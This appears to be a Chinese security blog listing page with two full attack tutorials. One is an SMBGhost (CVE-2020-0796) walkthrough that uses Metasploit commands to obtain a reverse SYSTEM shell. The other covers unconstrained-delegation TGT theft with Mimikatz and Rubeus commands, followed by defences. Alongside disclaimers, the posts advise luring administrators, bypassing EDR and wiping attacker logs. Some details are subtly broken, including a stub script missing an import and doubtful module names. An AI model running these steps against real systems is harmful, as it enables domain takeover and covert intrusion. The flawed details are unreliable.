合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选; 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。 最终合规红线再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。
2026年04月16日
524 阅读
0 评论
0 点赞
2026-04-15
Windows CVE-2020-0796 SMBGhost提权实战教程
法律责任声明:本文内容仅用于网络安全技术学习与研究,请不要在未获得明确授权的情况下使用文中方法对非本人所有的系统进行操作,任何非法使用造成的法律责任由使用者自行承担。一、漏洞背景介绍CVE-2020-0796是2020年3月曝光的Windows SMBv3.1.1协议远程代码执行漏洞,业内也将其称为SMBGhost漏洞。该漏洞源于SMB协议在处理压缩数据包时存在内存破坏缺陷,攻击者可以通过构造特制的SMB数据包,在目标系统上远程执行任意代码,甚至直接获取系统最高权限。受影响的系统包括Windows 10 1903/1909、Windows Server 1903/1909等未安装对应补丁的版本。我在第一次接触这个漏洞的实战时,曾因为对靶机环境不熟悉走了不少弯路,接下来会结合实际操作流程和遇到的问题,完整还原整个实战过程。二、实验环境准备本次实战需要搭建两个互通的测试环境: 1、攻击机:使用Kali Linux 2023版,提前安装好scapy、metasploit框架等工具 2、靶机:使用未打KB4551762补丁的Windows 10 1903版本,确保靶机开启SMB服务并开放445端口 3、网络环境:攻击机和靶机处于同一局域网,或者通过端口映射实现外网互通实操小提示:初次测试时我忘记关闭靶机自带的防火墙,导致扫描时一直无法检测到445端口,后来临时关闭靶机防火墙后才解决问题。请不要忽略防火墙配置对测试的影响。三、漏洞检测步骤在正式利用漏洞前,需要先确认靶机是否存在该漏洞,常用的检测方式有两种: 1、使用Nmap脚本检测 首先更新Nmap的SMB脚本库,避免出现脚本不兼容的问题,执行命令:sudo apt update && sudo apt install nmap-scripts 然后使用专用脚本扫描靶机的445端口:nmap -p 445 --script smb-v3-compression 靶机IP地址 如果扫描结果中出现VULNERABLE: SMBv3 compression enabled的提示,则说明靶机存在SMBGhost漏洞。我第一次使用这个命令时,因为脚本库未更新,一直返回无结果,更新后才正常识别到漏洞。2、使用Metasploit辅助模块检测 启动Metasploit框架后,加载SMB扫描模块:msfconsole use auxiliary/scanner/smb/smb2 set RHOSTS 靶机IP地址 run 如果模块返回The target is vulnerable to CVE-2020-0796,则可以确认漏洞存在。四、漏洞利用与提权实战本次实战我们使用Metasploit的官方exp模块进行提权操作,步骤如下: 1、加载SMBGhost漏洞利用模块use exploit/windows/smb/smbghost_rce 2、配置攻击参数# 设置靶机IP地址 set RHOSTS 靶机IP地址 # 设置攻击机监听的本地IP地址 set LHOST 攻击机局域网IP地址 # 设置监听端口,建议使用非默认端口避免被拦截 set LPORT 4444 3、启动监听并执行exprun 如果执行成功,你会看到弹出一个 Meterpreter 会话,输入getuid命令可以看到当前会话的用户权限为NT AUTHORITY\SYSTEM,也就是直接获取了系统最高权限,完成提权操作。实操踩坑记录:有一次执行exp后一直出现连接超时,排查后发现是靶机的SMB服务被临时重启过,重新确认445端口开放后才恢复正常。另外部分精简版的Windows 10会禁用SMBv3压缩,这类靶机无法触发该漏洞。如果不想使用Metasploit,也可以使用公开的Python exp脚本进行测试,以下是简化的示例代码(仅作学习参考):from scapy.all import IP, TCP, raw import sys def smbghost_exploit(target_ip): # 构造TCP SYN包建立SMB连接基础 syn_pkt = IP(dst=target_ip)/TCP(dport=445, flags="S") resp = sr1(syn_pkt, timeout=2, verbose=0) if not resp: print("无法连接到靶机445端口") return # 后续可根据协议规范构造恶意SMB压缩数据包 print(f"已完成与{target_ip}的SMB基础连接") if __name__ == "__main__": if len(sys.argv) != 2: print(f"使用方法: {sys.argv[0]} <靶机IP地址>") sys.exit(1) smbghost_exploit(sys.argv[1]) 五、实战后优化建议完成实战测试后,需要及时对环境进行清理和加固: 1、关闭靶机的SMB服务或者安装官方补丁KB4551762,修复该漏洞 2、恢复靶机的防火墙配置,避免不必要的端口暴露 3、清理攻击机上的日志和残留文件,确保测试痕迹被清除六、常见问题排查1、扫描时提示端口未开放:检查靶机445端口是否开启、防火墙是否拦截了流量 2、exp执行失败:确认靶机系统版本符合漏洞影响范围,检查攻击机工具是否安装完整 3、无法获取最高权限:部分靶机可能开启了UAC权限限制,需要调整exp的执行参数
2026年04月15日
404 阅读
0 评论
0 点赞
2026-04-14
非约束委派攻击原理与域内TGT票据捕获实战解析
在企业的Active Directory域环境中,Kerberos认证协议作为主流的身份验证方案,支撑着数千台主机与用户的权限交互。为了简化跨服务的授权流程,委派机制被广泛应用,但其中非约束委派因设计上的天然缺陷,成为域渗透中极具威胁的攻击向量之一。本文将从基础概念出发,拆解非约束委派的运行逻辑,讲解攻击原理与TGT票据捕获的完整流程,同时给出对应的防御建议,帮助企业安全人员识别与防范这类高危攻击。一、AD域与Kerberos认证基础AD域是微软推出的集中式目录服务,用于统一管理域内的用户、计算机、组等资源,而Kerberos是AD域默认的身份验证协议,其关键流程依赖四个角色:客户端、密钥分发中心(KDC,包含认证服务AS和票据授予服务TGS)、资源服务器,以及KRBTGT账户(KDC的内置服务账户,负责签名所有的Kerberos票据)。Kerberos的完整验证流程分为五个步骤: 1、客户端向AS发起认证请求,提交自己的用户名,AS通过域控制器的用户数据库验证用户身份后,生成会话密钥与TGT,将其加密后返回给客户端; 2、客户端收到加密的TGT与会话密钥后,解密得到会话密钥,随后向TGS请求服务票据(ST),提交要访问的资源名称与TGT; 3、TGS验证TGT的有效性后,生成对应资源的服务票据与新的会话密钥,加密后返回给客户端; 4、客户端携带服务票据访问资源服务器,服务器验证票据的签名与有效性后,允许客户端访问对应资源; 5、双方完成数据交互后,会话密钥会被销毁,避免被窃取。其中TGT也就是票据授予票据,是Kerberos认证中的核心凭证,默认有效期为10小时,可更新周期最长为7天,其内部包含客户端身份信息、会话密钥与过期时间,由KRBTGT账户的加密密钥签名,一旦获取到合法的TGT,攻击者就能伪造对应用户的身份发起任意域内操作。二、非约束委派的运行逻辑委派机制的本质是允许服务模拟客户端的身份,访问其他受保护的资源,比如一台WEB服务器需要调用后端的数据库服务,就需要通过委派将客户端的身份传递给数据库服务。根据配置方式的不同,委派分为约束委派与非约束委派两类: 1、约束委派:服务只能模拟预先指定的用户,访问预先配置的资源,需要在AD中显式设置允许的用户与资源列表,安全性相对较高; 2、非约束委派:服务可以模拟任意访问它的客户端,访问任意域内资源,无需预先配置允许的用户与资源,只要开启该功能,就能直接获取到客户端的完整TGT。当客户端访问开启了非约束委派的主机时,KDC会将客户端的TGT与服务票据一同返回给该主机,而非约束委派的服务会将TGT保存在本地的LSASS进程内存中,以便后续模拟客户端身份访问其他资源。这就为攻击者留下了可乘之机:只要攻击者获取到开启非约束委派主机的本地管理员权限,就能导出内存中保存的所有TGT票据。三、非约束委派攻击的完整流程1、确认域内存在开启非约束委派的主机:可以通过PowerShell命令快速查询,命令如下:Get-ADComputer -Filter {UserAccountControl -band 0x100000} -Properties UserAccountControl, Name, DNSHostName 该命令会筛选出所有开启了非约束委派的计算机账户,同时输出主机名称与DNS地址,方便后续定位目标。 2、获取普通域用户权限:攻击者可以通过钓鱼邮件、未修补的系统漏洞、弱口令爆破等方式,获取一台普通域成员主机的本地管理员权限,或者直接拿到一个普通域用户的账号密码。 3、诱导高权限用户访问目标主机:攻击者需要诱导域管理员或其他高权限用户访问开启了非约束委派的主机,比如通过共享文件夹、内部通知等方式,让高权限用户登录该主机或访问其共享资源。当高权限用户完成访问后,其TGT就会被保存在该主机的LSASS内存中。 4、导出内存中的TGT票据:攻击者在获取目标主机的本地管理员权限后,可以使用Mimikatz工具导出内存中的Kerberos票据,具体命令如下:mimikatz.exe "privilege::debug" "sekurlsa::tickets" exit 运行该命令后,工具会列出当前LSASS进程中保存的所有Kerberos票据,其中就包含高权限用户的TGT,攻击者可以将其导出为文件或提取Base64编码的票据内容。 5、利用TGT发起后续攻击:攻击者可以使用Rubeus工具将导出的TGT注入到当前进程中,实现身份伪造,命令示例如下:Rubeus.exe ptt /ticket:base64编码的TGT票据 注入成功后,攻击者就能以高权限用户的身份请求任意域内资源的服务票据,比如访问域控制器的LDAP服务,修改域内权限,甚至获取KRBTGT账户的相关信息,完全接管整个域环境。四、域内TGT票据的检测与防御针对非约束委派攻击与TGT票据捕获,企业可以通过以下方式进行检测与防御: 1、定期扫描域内的非约束委派主机:除了使用PowerShell命令外,还可以通过ADSI编辑工具,查看计算机账户的userAccountControl属性,确认是否包含0x100000的标志位,定期清理不必要的非约束委派配置。 2、监控Kerberos票据的异常行为:开启Windows事件日志的相关审核策略,监控LSASS进程的访问事件(事件ID 4663)、TGS请求事件(事件ID 4769)与票据更新事件(事件ID 4770),当发现大量异常的票据请求或内存访问行为时,及时触发告警。 3、限制高权限用户的登录范围:请不要让域管理员登录普通的成员主机或未受保护的服务器,仅允许域管理员登录域控制器与指定的管理主机,避免高权限用户的TGT被保存在非授权的主机内存中。 4、启用安全防护措施:启用Windows Defender Credential Guard,该功能会将LSASS进程的内存隔离在受保护的区域中,阻止恶意工具读取内存中的票据;同时禁用WDigest认证,避免攻击者通过该协议获取明文密码;使用AES-256加密替代弱加密算法,提升Kerberos票据的安全性。 5、优先使用更安全的委派方式:将非约束委派替换为约束委派或基于资源的约束委派,这两种委派方式都需要显式配置允许的用户与资源,大幅缩小攻击面,降低安全风险。五、实战中的注意事项在进行安全测试或应急响应时,需要注意以下细节: 1、诱导用户访问的场景需要贴合日常业务,比如共享文件夹中放置看似有价值的内部文档,避免引起用户的怀疑; 2、如果域内启用了Kerberos强加密策略,导出的TGT需要使用对应的加密密钥才能正常使用,攻击者需要提前获取相关密钥信息; 3、部分企业会部署SIEM工具或EDR产品,会拦截Mimikatz等恶意工具的运行,攻击者需要提前绕过这些防护措施; 4、所有的渗透测试操作都需要获得企业的书面授权,未经授权的攻击行为可能触犯法律法规,带来严重的法律后果。非约束委派攻击是AD域环境中常见的高危攻击向量,其典型危害在于可以通过捕获TGT票据,快速实现域权限的横向移动与完全接管。企业安全人员需要重视域内的委派配置管理,定期开展安全扫描与审计,同时加强员工的安全培训,避免被攻击者诱导访问非授权主机,从多个维度提升域环境的整体安全性。
2026年04月14日
665 阅读
0 评论
0 点赞
1
2
...
14